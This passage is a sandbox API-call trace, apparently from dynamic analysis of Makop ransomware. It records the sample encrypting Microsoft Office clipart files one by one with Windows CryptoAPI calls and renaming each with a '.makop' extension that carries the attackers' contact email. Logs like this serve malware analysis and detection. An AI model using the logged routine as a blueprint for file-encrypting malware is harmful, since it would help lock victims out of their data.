lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.900] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.901] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1864, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1864, lpOverlapped=0x0) returned 1 [0119.902] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870, dwBufLen=0x1870 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1870) returned 1 [0119.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1870, lpOverlapped=0x0) returned 1 [0119.903] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.903] SetEndOfFile (hFile=0xf0) returned 1 [0119.910] GetProcessHeap () returned 0x48a0000 [0119.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.910] GetProcessHeap () returned 0x48a0000 [0119.910] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.910] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.911] CloseHandle (hObject=0xf0) returned 1 [0119.911] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0119.911] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0119.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.912] GetProcessHeap () returned 0x48a0000 [0119.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.912] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.917] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.917] GetProcessHeap () returned 0x48a0000 [0119.917] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.918] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.918] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.918] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.919] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.919] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.919] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4928, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4928, lpOverlapped=0x0) returned 1 [0119.921] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4930, dwBufLen=0x4930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4930) returned 1 [0119.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4930, lpOverlapped=0x0) returned 1 [0119.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.922] SetEndOfFile (hFile=0xf0) returned 1 [0119.929] GetProcessHeap () returned 0x48a0000 [0119.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.929] GetProcessHeap () returned 0x48a0000 [0119.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.931] CloseHandle (hObject=0xf0) returned 1 [0119.931] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0119.931] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0119.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.933] GetProcessHeap () returned 0x48a0000 [0119.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.933] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.933] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.942] GetProcessHeap () returned 0x48a0000 [0119.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.942] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.943] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.944] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.944] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.944] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1424, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1424, lpOverlapped=0x0) returned 1 [0119.946] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1430, dwBufLen=0x1430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1430) returned 1 [0119.946] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.946] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1430, lpOverlapped=0x0) returned 1 [0119.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.947] SetEndOfFile (hFile=0xf0) returned 1 [0119.954] GetProcessHeap () returned 0x48a0000 [0119.954] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.954] GetProcessHeap () returned 0x48a0000 [0119.954] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.954] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.956] CloseHandle (hObject=0xf0) returned 1 [0119.956] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0119.956] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0119.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.958] GetProcessHeap () returned 0x48a0000 [0119.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.958] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.959] GetProcessHeap () returned 0x48a0000 [0119.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.959] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.959] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.963] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.964] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.964] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.964] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1560, lpOverlapped=0x0) returned 1 [0119.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1560, dwBufLen=0x1560 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1560) returned 1 [0119.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1560, lpOverlapped=0x0) returned 1 [0119.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.966] SetEndOfFile (hFile=0xf0) returned 1 [0119.973] GetProcessHeap () returned 0x48a0000 [0119.973] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.973] GetProcessHeap () returned 0x48a0000 [0119.973] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.973] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.975] CloseHandle (hObject=0xf0) returned 1 [0119.975] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0119.975] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0119.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.978] GetProcessHeap () returned 0x48a0000 [0119.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.982] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.983] GetProcessHeap () returned 0x48a0000 [0119.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, 